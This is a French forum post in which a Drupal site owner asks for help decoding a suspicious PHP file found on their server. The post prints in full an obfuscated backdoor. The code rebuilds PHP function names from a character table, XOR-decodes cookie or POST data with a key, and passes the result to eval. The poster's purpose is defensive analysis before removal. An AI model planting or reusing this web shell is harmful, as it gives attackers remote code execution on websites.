Bonjour à tous,

j'ai retrouvé un fichier php étrange sur mon site et j'aurais besoin d'un petit coup de pouce pour comprendre ce qu'il fait.
Après quelques recherche et tentatives pour l'exécuter sur un environnement de test, il semblerait que ce code en cache un autre, ce qui me fait penser éventuellement à une backdoor.
Le site est sous drupal et je n'ai pas trouvé de référence à ce genre de fichiers dans la doc drupal et mes compétences en php sont assez limitées c'est pourquoi je me permet de me tourner vers vous pour un coup de main.
L'idéal pour moi serait de comprendre ce que fait le code et le résultat final.
voici le code réindenté car il était sur une seule ligne dans un fichier nommé xeftyuew.php

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 
<?php
$rjtfqjw = 'ic5dul7_kamrxbn0o6\'ep#t*gH8yf-2v4s';
$lwnsqn = Array();
$lwnsqn[] = $rjtfqjw[25].$rjtfqjw[23];
$lwnsqn[] = $rjtfqjw[21];
$lwnsqn[] = $rjtfqjw[19].$rjtfqjw[28].$rjtfqjw[30].$rjtfqjw[13].$rjtfqjw[28].$rjtfqjw[17].$rjtfqjw[15].$rjtfqjw[3].$rjtfqjw[29]
.$rjtfqjw[30].$rjtfqjw[17].$rjtfqjw[13].$rjtfqjw[26].$rjtfqjw[29].$rjtfqjw[32].$rjtfqjw[28].$rjtfqjw[32].$rjtfqjw[6].$rjtfqjw[29]
.$rjtfqjw[9].$rjtfqjw[2].$rjtfqjw[32].$rjtfqjw[15].$rjtfqjw[29].$rjtfqjw[30].$rjtfqjw[1].$rjtfqjw[13].$rjtfqjw[2].$rjtfqjw[32]
.$rjtfqjw[30].$rjtfqjw[17].$rjtfqjw[2].$rjtfqjw[2].$rjtfqjw[6].$rjtfqjw[3].$rjtfqjw[17];
$lwnsqn[] = $rjtfqjw[1].$rjtfqjw[16].$rjtfqjw[4].$rjtfqjw[14].$rjtfqjw[22];$lwnsqn[] = $rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11].$rjtfqjw[7].$rjtfqjw[11].$rjtfqjw[19].$rjtfqjw[20].$rjtfqjw[19].$rjtfqjw[9].$rjtfqjw[22];
$lwnsqn[] = $rjtfqjw[19].$rjtfqjw[12].$rjtfqjw[20].$rjtfqjw[5].$rjtfqjw[16].$rjtfqjw[3].$rjtfqjw[19];
$lwnsqn[] = $rjtfqjw[33].$rjtfqjw[4].$rjtfqjw[13].$rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11];
$lwnsqn[] = $rjtfqjw[9].$rjtfqjw[11].$rjtfqjw[11].$rjtfqjw[9].$rjtfqjw[27].$rjtfqjw[7].$rjtfqjw[10].$rjtfqjw[19].$rjtfqjw[11].$rjtfqjw[24].$rjtfqjw[19];
$lwnsqn[] = $rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11].$rjtfqjw[5].$rjtfqjw[19].$rjtfqjw[14];
$lwnsqn[] = $rjtfqjw[20].$rjtfqjw[9].$rjtfqjw[1].$rjtfqjw[8];
 
foreach ($lwnsqn[7]($_COOKIE, $_POST) as $fnrglxa => $kxrqhil){
	function yxxizuf($lwnsqn, $fnrglxa, $nnyhoed){
			return $lwnsqn[6]($lwnsqn[4]($fnrglxa . $lwnsqn[2], ($nnyhoed / $lwnsqn[8]($fnrglxa)) + 1), 0, $nnyhoed);
		}
		function eyxsy($lwnsqn, $altqk){
			return @$lwnsqn[9]($lwnsqn[0], $altqk);
		}
		function gcntghj($lwnsqn, $altqk){
			$iahdk = $lwnsqn[3]($altqk) % 3;
				if (!$iahdk) {
					eval($altqk[1]($altqk[2]));
 
					exit();
				}
		}
		$kxrqhil = eyxsy($lwnsqn, $kxrqhil);
		gcntghj($lwnsqn, $lwnsqn[5]($lwnsqn[1], $kxrqhil ^ yxxizuf($lwnsqn, $fnrglxa, $lwnsqn[8]($kxrqhil))));
 
 
}
la seule chose que j'ai réussi à sortir est en utilisant une petite boucle pour afficher le contenu de la variable "$lwnsqn"

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
 
for ($i=0;$i<10;$i++){
	echo $lwnsqn[$i];  
}
et voici le résultat obtenu: H*#ef2bf60d-26b8-4f47-a540-2cb5426557d6countstr_repeatexplodesubstrarray_mergestrlenpack

j'ai pu également voir que les backdoor pouvaient utiliser la fonction php eval, ce qui est le cas ici, mais je voudrais comprendre d'abord ce que fait ce code avant de le virer.

Merci d'avance,

bonne journée